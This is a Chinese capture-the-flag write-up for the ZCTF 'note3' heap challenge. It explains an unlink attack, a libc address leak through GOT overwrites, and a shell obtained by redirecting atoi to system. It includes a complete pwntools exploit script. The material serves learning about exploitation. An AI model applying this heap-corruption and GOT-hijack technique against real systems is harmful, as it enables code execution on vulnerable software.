Show功能该功能没什么用 , 只打印一串字符串 。
【ZCTF note3:一种新解法】
文章插图
Edit功能如图 , 主要操作通过注释的方式介绍 。
文章插图
Delete功能
文章插图
qword_6020C0[0]可以理解为最近操作过的块地址 。
漏洞利用漏洞利用思路如下:
1.unlink
添加7个块后 , 再添加一个块(i=7) , 这时块0的大小会被改的很大(值为块7的地址) , 然后在块0中构造fake_chunk并溢出到下一个块修改header数据实现unlink 。需要注意第i=1个块时大小要超过fastbin的范围 。
2.泄露地址
unlink后可以实现任意写 。为了泄露函数地址 , 需要执行输出函数 , 可以将free@got值改为puts@plt值 , 然后将块i的地址改为puts@got的地址 , 这时调用删除功能free(块i)就可以输出puts@got的值 , 从而得到动态链接库加载地址 , 进一步得到system地址 。
3.getshell
最后将atoi@got值改为system地址 , 然后在选择功能时输入/bin/sh即可得到shell 。
Expolit漏洞利用代码如下:
from pwn import *p = process('./note3')#context.log_level = 'debug'def new(size,content): p.sendlineafter('option--->>','1') p.sendlineafter('1024)',str(size)) p.sendlineafter('content:', content) p.recvuntil('\n')def edit(idx, content): p.sendlineafter('option--->>','3') p.sendlineafter('note:', str(idx)) p.sendlineafter('content:', content) p.recvuntil('success')def delete(idx): p.sendlineafter('option--->>', '4') p.sendlineafter('note:', str(idx))#gdb.attach(p)# 分配7+1个块new(0x40, 'b'*32)new(0x80, 'b'*32) #为进行unlink , 块要大于fastbinnew(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32) #第0块的size变量值会被该块的地址覆盖 , 进而第0块可以写入足够多的数据target = 0x6020C8 #指向ptrfd = target - 0x18bk = target - 0x10# 构造fake_chunkpayload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8# 溢出到下一个块 , 覆盖chunk headerpayload += p64(0x40) + p64(0x90)edit(0,payload)# 向块0写入数据溢出delete(1)# 触发unlink=>ptr[0]=&ptr-0x18elf = ELF('./note3')# 从&ptr-0x18开始写入数据 =># 0x6020C8(ptr+0x00): elf.got['free']chunk0_ptr# 0x6020D0(ptr+0x08): elf.got['puts']chunk1_ptr# 0x6020D8(ptr+0x10): 0x6020C8chunk2_ptrpayload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)edit(0,payload)# 将free@got改为puts@plt:# 向chunk0_ptr(free@got)写入puts@plt# 注意这里发送的地址是7位 , 因为程序会在用户输入后面加上\x00 , 若发送8位会将下一个got地址低字节变为0 。这里puts@plt高字节也为\x00 , 所以发送7位无影响 。edit(0, p64(elf.plt['puts'])[:-1])# 原会调用free(chunk1_put) , 实际调用puts(puts@got)泄露地址delete(1)p.recvuntil('\n')# 读取泄露的地址值puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))print(hex(puts_addr))# 任意地址写 , 通过edit chunk2_ptr来修改chunk0_ptr的指向 , 再通过edit chunk0_ptr修改chunk0_ptr指向的值 。def write(where,what): edit(2, p64(where)) edit(0, p64(what))# 获取libc基址libc = ELF('./libc-2.23.so')libc_base = puts_addr - libc.symbols['puts']log.success('libc base: ' + hex(libc_base))# 获取system函数地址sys_addr = libc_base + libc.symbols['system']log.success('sys_addr: ' + hex(sys_addr))# 将atio@got值改为system函数地址write(elf.got['atoi'], sys_addr)# 因为atoi改为了system,输入选项时输入"/bin/sh",会执行system("/bin/sh")p.sendlineafter('option--->>','/bin/sh\x00')p.interactive()
经验总结扩展阅读
- 子宫体癌有什么症状
- 痤疮怎样根治
- 酒店的夜灯怎么关不掉
- 秋冬季节适合种什么
- 负面情绪有哪些影响
- 面粉是不是低筋
- 什么是高通滤波
- 氧化剂是物质还是一种元素
- 什么是T形管
- 编码中的Adapter,不仅是一种设计模式,更是一种架构理念与解决方案